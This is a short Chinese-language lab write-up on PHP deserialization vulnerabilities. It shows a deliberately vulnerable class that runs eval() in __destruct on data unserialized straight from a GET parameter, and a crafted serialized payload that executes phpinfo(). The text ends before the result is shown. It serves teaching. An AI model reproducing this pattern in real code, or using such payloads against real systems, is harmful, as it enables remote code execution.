实验环境:Apache、php5.4
实验原理:是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
实验步骤:
实验一:
php代码如下:
<?php
class Person{
var $name;
var $age;
var $sex;
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
}
function __destruct()
{
eval($this->sex);
}
}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>
在路径中输入参数值:?obj=O:6:"Person":3:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:10:"phpinfo();";},结果如下: